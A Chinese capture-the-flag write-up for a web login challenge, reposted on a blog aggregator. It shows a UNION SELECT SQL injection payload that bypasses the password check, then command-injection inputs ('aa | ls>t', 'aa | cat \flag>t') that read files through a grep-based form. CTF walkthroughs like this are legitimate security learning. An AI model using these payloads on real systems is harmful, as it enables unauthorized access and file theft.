ctf-WEB-login2(sql注入)_ctf web登录_榴莲 蛋挞的博客-程序员秘密

技术标签: ctf  web安全  安全  

题目地址:跳转提示

打开网址,是一个熟悉的登陆页面,几次登录尝试发现报错回显只有一种

应当不是基于布尔的盲注,bp抓包看看:

发现响应中有一串奇怪的字符,尝试使用base64解码,得到:

这应该是一个提示,需要绕过其判断条件

这里就可以利用联合查询来注入(union select)

之前说过,union select后面加数字串时,如果没有后面的表名,则该语句没有向任何一个数据库查询,那么它输出的内容就是select后的数字,并且使用联合查询要求必须保证前后查询的字段数一致,因此要绕过判断条件,可以payload

username=admi' UNION SELECT 1,md5(11)#&password=11,登录成功

这样就相当于:

$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if (!empty($row) && $row['password']===md5($password)){
}

要注意,提取数据时很可能只取了结果集的第一行数据,所以要保证输入的用户名是错误的,以确保$row['password']===md5(11);

实验了一下上述语句,推测$row的结构如下:
 

<?php
if($link=mysqli_connect("127.0.0.1","root","root","test")){
	$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
	if($result=mysqli_query($link,$sql)){
		$raw=mysqli_fetch_array($result);
		var_dump($raw);
		mysqli_close($link);
	}else{
		echo mysqli_error;
		die();
	}
}else{
	echo mysqli_connect_error();
	die();
}
?>

 果然登录成功:

随便输入ls,发现结果显示使用了grep命令

再输入命令aa | ls>t

访问网站t目录,果然看到了ls结果

于是尝试输入 aa | cat \flag>t

打开t

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/god_001/article/details/124736570

智能推荐

Python写违章扣分程序_python交通安全答题积分_去抓水母吧的博客-程序员秘密

```pythonprint("="*30)print("序号 种类 扣分")print("1 酒后驾驶 12")print("2 遮挡车牌 12")print("3 闯红灯 6")print("4 不按道行驶 2")print("="*30)xh=int(input("请输入违章种类序号:"))syfz=12print("原始分值为:%d"%(syfz...

平铺数组结构转二维数组区域结构_努力向上长的小小草啊的博客-程序员秘密

/** *平铺数组结构转二维数组区域结构 * 参数:[{"id":51451,"areaCode":310000,"areaName":"上海市","parentCode":0},{"id":51452,"areaCode":310100,"areaName":"上海市","parentCode":310000},{"id":51469,"areaCode":320500,"areaName":"苏州市","parentCode":320000},{"id":51496,"areaCode":31010

UE4 UMG多行文本_tianxiaojie_blog的博客-程序员秘密

widget 中text 单行文本如何变成可以容纳多行文本?修改属性 进行调整,需要进行填入文本测试是否符合要求。

前端几种存储方式 - localStorage、sessionStorage_localstorage、sessionstorage等前端存储方案_祁_z的博客-程序员秘密

https://www.cnblogs.com/LuckyWinty/p/5699117.htmlh5之前,存储主要是用cookies。cookies缺点有在请求头上带着数据,大小是4k之内。发送请求cookie会带过去浪费宽度资源。主要应用:购物车、客户登录对于IE浏览器有UserData,大小是64k,只有IE浏览器支持。三种存储方式:localStorage、sessionS...

星星之火OIer:滑雪场高度差题解_滑雪道的高度差怎么算_星星之火OIer的博客-程序员秘密

滑雪场高度差题目出处(2721)这道题是我们编程社考试第四次的第四题,自认为比较水其实吧,这道题是我当时唯一AC的一道题(心酸)也正是因为这道题,我留在了编程社题目大意:有一个M * N(2&lt;=n,m&lt;=500)的滑雪场,每个点都有一个高度,如果相邻两个点的高度差小于安全高度d就可以互相抵达,在滑雪场上有一些重要的点,请问d最小是多少时可以使每个重要的点都可以互相抵...

Oracle使用 expdp/impdp 产生字符集问题 导致ORA-02374 ORA-12899 ORA-02372_expdp字符集不同_错过了时间的博客-程序员秘密

使用 expdp/impdp 产生字符集问题 导致ORA-02374 ORA-12899 ORA-02372一、故障描述:今天从源数据库expdp导出数据,然后往目标数据库impdp导入的时候,产生如下错误:ORA-02374: conversion error loading table "ACS"."T_DI_NQHQ"ORA-12899: value too large for c...

随便推点

微信小程序 使用animate动画教程_小程序animate_草字的博客-程序员秘密

1.下载文件。路径:https://download.csdn.net/download/qq_42740797/12703601官网路径:https://animate.style/2.在项目根目录新建一个“style”文件夹存放下载样式文件。3.全局导入样式,在“app.wxss”文件最开始引入。4.使用。注意:动画类要去掉“animate__”.每个动画都有的五个参数:animation: 动画名 持续时长 速度曲线 开始时延迟的时长 播放次数 轮流反向播放第一种:直接给全

第5章-1 输出星期名缩写 (70分)_chen_zan_yu_的博客-程序员秘密

第5章-1输出星期名缩写(70分)输入一个1到7的数字,输出对应的星期名的缩写。1 Mon2 Tue3 Wed4 Thu5 Fri6 Sat7 Sun输入格式:输入1到7之间数字输出格式:输出对应的星期名的缩写输入样例:在这里给出一组输入。例如:1输出样例:在这里给出相应的输出。例如:Mondays = {1:'Mon...

Hadoop2.6.3+Hive-1.2.1+mysql5.6.15 问题汇总_xiaoxiangyu163的博客-程序员秘密

问题描述一:Caused by: Java.sql.SQLException: Unable to open a test connection to the given database. JDBC url = jdbc:MySQL://192.168.64.11:3306/hive?characterEncoding=UTF-8, username = hive. Terminating

SEO需要每天写文章吗?_雄赳赳小姐姐yy的博客-程序员秘密

搜索引擎亲耐大量的新鲜内容,如果seo每天都能写文章并且提交给搜索引擎,那么对于网站本身来讲对搜索引擎是比较友好的,万事没有绝对化,写不出原创文章能做seo吗?在某些特定情况下seo不需要每天写文章,比如网站有大量高权重网站指向本站点等。只要是大型网站,文章方面几乎都在无时无刻的更新,大量的有用户搜索的高质量内容更新,对于seo来讲是一大利器,从这个角度来讲,每天写文章很重要,或者说每天更新内容...

OrCAD中常用元件在库中存放的位置(最近更新2012-7-30)_orcad 晶振在哪个库_revilwang的博客-程序员秘密

这周开始学习使用OrCAD制作原理图,刚开始接触的时候,查找常用的元件都需要花好长时间,在这里做一个小小的总结(不断更新):日期:2012-7-30二极管:diode蜂鸣器:piezo buzzer两个均在Discrete.olb库文件中总结出一点规律出来:1. 搜索器件有时候通过型号可能搜索不到,反而查找对应的英文可能会找到,所以需要点英文能力。比如搜索N

Maven组件通过命令上传本地和私有仓库_weixin_34319999的博客-程序员秘密

安装本地包到本地仓库:1mvninstall:install-file-DgroupId=com.xxx-DartifactId=mqtt-server-client-Dversion=1.0.1-Dpackaging=jar-Dfile=E:\__vdt\MVVP\mqtt-server-client-1.0.1...

推荐文章

热门文章

相关标签